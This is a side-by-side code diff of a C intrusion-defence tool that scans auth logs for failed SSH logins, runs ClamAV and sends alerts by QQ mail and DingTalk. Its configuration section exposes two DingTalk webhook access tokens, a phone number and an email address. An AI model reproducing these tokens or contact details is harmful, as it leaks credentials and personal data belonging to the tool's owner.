if (conf->IS_QQMAIL == 1) if (conf->IS_QQMAIL == 1) {
{
QQ_mail_warning_Virus_files(public_ip, virus_files, conf); QQ_mail_warning_Virus_files(public_ip, virus_files, conf);
sleep(3); sleep(3);
} }
} }
// 磁盘告警 // 磁盘告警
if (1 == conf->IS_DISK) if (1 == conf->IS_DISK) {
{ if (disk_waring(conf->DISK_USE) == 1) {
if (disk_waring(conf->DISK_USE) == 1)
{
printf("Disk usage reaches threshold!, Please handle!\n"); printf("Disk usage reaches threshold!, Please handle!\n");
if (conf->IS_QQMAIL == 1) if (conf->IS_QQMAIL == 1) {
{
QQ_mail_warning_Disk_Use(public_ip, 0, conf); QQ_mail_warning_Disk_Use(public_ip, 0, conf);
sleep(3); sleep(3);
} }
} } else {
else
{
printf("Disk usage does not reach threshold!\n"); printf("Disk usage does not reach threshold!\n");
} }
} }
_exit(r); _exit(r);
} } else {
else
{
int status = 0; int status = 0;
wait(&status); // wait the end of child process wait(&status); // wait the end of child process
if (WIFEXITED(status)) if (WIFEXITED(status)) {
{
; ;
//printf("child process return %d\n", WEXITSTATUS(status)); //printf("child process return %d\n", WEXITSTATUS(status));
} }
@ -1351,29 +1126,32 @@ goto_daemon:
} }
} }
rule(conf); rule(conf);
sleep(conf->TIME); sleep(conf->TIME);
} }
} } else {
else // 父进程
{
rule(conf); while(1)
{
nginx_read_log("/usr/local/nginx/logs/access.log");
sleep(1);
}
}
} else {
;
} }
free(t); free(t);
free_conf(conf); free_conf(conf);
free(conf); free(conf);
free(public_ip); free(public_ip);
for(i=1; i<head_argc; i++) for (i = 1; i < head_argc; i++) {
{
//printf("%s %d\n", head_argvs[i], i);
if (head_argvs[i]) if (head_argvs[i])
free(head_argvs[i]); free(head_argvs[i]);
} }
return 0; return 0;
} }

View File

@ -13,7 +13,7 @@ global {
REFUSE_NUMBER = 3; // 拒绝攻击次数 REFUSE_NUMBER = 3; // 拒绝攻击次数
CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭) CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭)
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected --move=/opt/infected --max-filesize 1024M -l clamscan.log"; CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected|^/root|^/home|^/mnt|^/usr|^/var --move=/opt/infected --max-filesize 1024M -l clamscan.log";
CLAMAV_TIME = "* 7 23 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周) CLAMAV_TIME = "* 7 23 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
@ -23,18 +23,17 @@ global {
REGION = 1; // 是否启用地域白名单(1开启,非1关闭) REGION = 1; // 是否启用地域白名单(1开启,非1关闭)
IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用) IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用)
REGION_URL = "http://opendata.baidu.com/api.php?query=%s&co=&resource_id=6006&oe=utf8"; // 获取IP地域API
REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开) REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开)
IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭) IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭)
IS_DING_WEBHOOK = 0; // 开启叮叮告警(1开启,非1关闭) IS_DING_WEBHOOK = 1; // 开启叮叮告警(1开启,非1关闭)
PHONE = "15565979082"; // @的人手机号 PHONE = "15565979082"; // @的人手机号
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=7f069c672cb878987aa6772cca336740eece4ce36bde12b51b45e9f440e0565a"; // 钉钉WEBHOOK DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=396bce0384cded025087cff3c176ea5e9afb9bd8fcaa46d6fa8c51dd172ba513"; // 钉钉WEBHOOK
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomailhttps://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭) IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail: https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
RECV_MAIL = "1605227279@qq.com"; // 接收者邮箱 RECV_MAIL = "1605227279@qq.com"; // 接收者邮箱
} }

View File

@ -107,9 +107,7 @@ void cron_free(void* p)
#define BUILD(fmt...) do { fprintf(stderr,"%s %s ",__DATE__,__TIME__); fprintf(stderr, ##fmt); } while(0) #define BUILD(fmt...) do { fprintf(stderr,"%s %s ",__DATE__,__TIME__); fprintf(stderr, ##fmt); } while(0)
#define AWK " | awk -v num=%d '{a[$1]+=1;} END {for(i in a){if (a[i] >= num) {print i;}}}' " #define AWK " | awk -v num=%d '{a[$1]+=1;} END {for(i in a){if (a[i] >= num) {print i;}}}' "
#define GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/auth.log | grep failure | grep rhost" #define GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/auth.log | grep failure | grep rhost"
#define GE_12 "grep -E \"^$(LC_ALL=\"C\" date +\"%Y-%m-%d\")\" /var/log/auth.log | grep failure | grep rhost"
#define LE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\")..$(LC_ALL=\"C\" date | awk '{print $3}')\" /var/log/auth.log | grep failure | grep rhost" #define LE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\")..$(LC_ALL=\"C\" date | awk '{print $3}')\" /var/log/auth.log | grep failure | grep rhost"
#define CENTOS_GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/secure | grep failure | grep rhost" #define CENTOS_GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/secure | grep failure | grep rhost"